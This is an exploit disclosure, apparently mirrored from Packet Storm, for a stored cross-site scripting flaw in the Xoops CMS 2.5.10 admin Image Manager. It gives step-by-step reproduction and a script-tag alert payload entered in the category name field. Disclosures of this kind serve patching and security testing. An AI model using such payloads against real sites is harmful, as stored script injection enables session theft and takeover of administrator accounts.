Share
## https://sploitus.com/exploit?id=PACKETSTORM:172884
# Exploit Title: Xoops CMS Version 2.5.10 - Stored Cross-Site Scripting (XSS) (Authenticated)  
# Date: 2023-06-12  
# Exploit Author: tmrswrr  
# Vendor Homepage: https://xoops.org/  
# Software https://github.com/XOOPS/XoopsCore25/releases/tag/v2.5.10  
# Version: 2.5.10  
# Tested : https://www.softaculous.com/apps/cms/Xoops  
  
  
--- Description ---  
  
1) Login admin panel and click Image Manager , choose Add Category :   
https://demos5.softaculous.com/Xoopshkqdowiwqq/modules/system/admin.php?fct=images  
2) Write your payload in the Category Name field and submit:  
Payload: <script>alert(1)</script>  
3) After click multiupload , when you move the mouse to the payload name, you will see the alert button  
https://demos5.softaculous.com/Xoopshkqdowiwqq/modules/system/admin.php?fct=images&op=multiupload&imgcat_id=2